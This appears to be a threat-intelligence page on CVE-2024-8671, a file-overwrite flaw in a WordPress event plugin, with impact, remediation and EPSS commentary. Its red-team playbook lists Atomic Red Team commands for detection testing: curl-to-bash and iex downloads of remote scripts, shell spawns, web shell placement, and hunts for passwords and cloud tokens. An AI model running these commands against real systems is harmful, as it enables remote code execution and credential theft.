CVE-2024-8671
Overview
This vulnerability is a directory traversal and arbitrary file overwrite flaw caused by insufficient validation of file paths in the inc/barcode.php component of the WooEvents - Calendar and Event Booking WordPress plugin. The root cause lies in the failure to properly sanitize user-supplied input used to construct file paths, allowing manipulation beyond intended directories. The affected feature is the barcode generation or handling functionality within the plugin, present in all versions up to 4.1.2.
Vulnerability Description
The WooEvents - Calendar and Event Booking plugin for WordPress is vulnerable to arbitrary file overwrite due to insufficient file path validation in the inc/barcode.php file in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to overwrite arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An unauthenticated attacker can overwrite arbitrary files on the server, including critical WordPress configuration files such as wp-config.php, enabling remote code execution and full server compromise. This can lead to complete site takeover, data breaches, and persistent backdoors. The attack requires only network access and no privileges or user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The integrity and availability of the affected system are severely impacted due to the ability to modify or delete essential files.
Solution
Users should upgrade the WooEvents - Calendar and Event Booking plugin to a version later than 4.1.2 where the vulnerability is patched. Detailed patching instructions and advisories are available at the Wordfence threat intelligence page (https://www.wordfence.com/threat-intel/vulnerabilities/id/3d7af96a-5a3c-4291-a369-f6ed78f72a3f). No official workaround is documented; thus, updating the plugin promptly is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WooEvents - Calendar and Event Booking plugin for WordPress arises from inadequate validation of file paths within the inc/barcode.php file. This oversight allows for arbitrary file overwrites, where an attacker can manipulate the file path to overwrite critical files on the server. The flaw is particularly concerning because it does not require any form of authentication, enabling unauthenticated users to exploit the vulnerability. The potential for overwriting sensitive files, such as wp-config.php, poses a significant risk, as this file contains crucial configuration settings, including database credentials and authentication keys. If compromised, an attacker could gain full control over the WordPress installation, leading to severe repercussions.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request that targets the vulnerable file, specifying a path to a sensitive file on the server. By successfully executing this request, the attacker could overwrite the targeted file with arbitrary content, potentially inserting malicious code. This could lead to remote code execution, allowing the attacker to execute arbitrary commands on the server. Additionally, the ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly appealing to threat actors, who can automate attacks to target multiple installations of the plugin across various WordPress sites.
The real-world impact of this vulnerability is profound, especially for businesses that rely on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even complete server compromise. The business risks associated with such incidents include financial loss, reputational damage, and potential legal ramifications due to data breaches. Organizations may also face downtime while they remediate the issue, further exacerbating the financial impact. The high CVSS score of 9.1 indicates that this vulnerability is critical and should be prioritized for immediate attention by affected organizations.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the WooEvents plugin to the latest version is essential, as updates often include patches for known vulnerabilities. Implementing a web application firewall (WAF) can help filter out malicious requests aimed at exploiting this vulnerability. Additionally, conducting regular security audits and vulnerability assessments can help identify and remediate weaknesses in the system before they can be exploited. Organizations should also consider implementing strict file permissions and monitoring file integrity to detect unauthorized changes to critical files. By adopting these strategies, businesses can significantly reduce their risk exposure and enhance their overall security posture.
In conclusion, the vulnerability present in the WooEvents plugin represents a critical threat to WordPress installations, with the potential for severe consequences if exploited. The combination of unauthenticated access and the ability to overwrite arbitrary files makes this flaw particularly dangerous. Organizations must take proactive measures to secure their systems, including timely updates, robust monitoring, and comprehensive security practices, to safeguard against such vulnerabilities and protect their digital assets.
Recent CSURFACE threat intelligence indicates a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-8671, rising by approximately 12.3%. This upward adjustment reflects a growing likelihood of exploitation attempts targeting the WooEvents plugin vulnerability, despite the absence of new exploit code or active campaigns detected by our telemetry. The EPSS score now places this vulnerability near the 93rd percentile, signaling heightened attention from potential threat actors. While no immediate surge in exploitation has been observed, the increased predictive score suggests that attackers may be preparing or refining tactics to leverage the arbitrary file overwrite flaw, which remains a critical vector for remote code execution on affected WordPress installations. For defenders, this shift underscores the importance of maintaining vigilance and prioritizing this vulnerability within risk management frameworks, as the probability of exploitation is trending upward. Consequently, the overall threat level should be considered elevated, warranting continued monitoring for emergent exploit activity and potential shifts in attacker behavior.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Exthemes | Wooevents | All |
cpe:2.3:a:exthemes:wooevents:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8671 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/3d7af96a-5a3c-4291-a369-f6ed78f72a3f?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/wooevents-calendar-and-event-booking/15598178 |